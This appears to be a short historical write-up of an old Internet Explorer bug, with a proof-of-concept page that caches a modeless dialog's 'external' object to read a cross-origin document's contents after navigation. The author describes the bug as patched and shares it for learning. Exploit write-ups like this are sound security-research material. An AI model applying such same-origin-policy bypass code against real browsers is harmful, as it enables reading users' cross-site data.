After playing around with showModelessDialog and its external property, I found that caching a reference to the dialog’s external object before navigating it away allowed continued access to the dialog’s original document — even after the dialog had loaded a completely different, cross-origin URL.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_cache_external_from_modelessDialog</title>
</head>
<body>
<script language="JavaScript">

var pExternal;

function main()
{
	var mod = showModelessDialog("dummy.html", "", "dialogwidth=400px;dialogheight=200px");
	pExternal = mod.external;	// And also cache the window external to be able to read it later.

	mod.eval("returnValue = document");
	mod.name = "FX";
	mod.open("http://www.google.com/robots.txt", "FX");


	setTimeout("accessModeless()", 4000);
}
function accessModeless()
{
	alert("document.URL: " + pExternal.returnValue.URL + "\n\ndocument.body.innerText:\n" + pExternal.returnValue.body.innerText);
}

</script>
</body>
</html>

The key was saving mod.external before the navigation and setting returnValue = document via mod.eval(). The external.returnValue property persisted across the navigation, holding a live reference to the original document object. After the modeless dialog loaded google.com/robots.txt, calling pExternal.returnValue.body.innerText returned the content of that cross-origin document. This worked on both IE10 and IE11.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.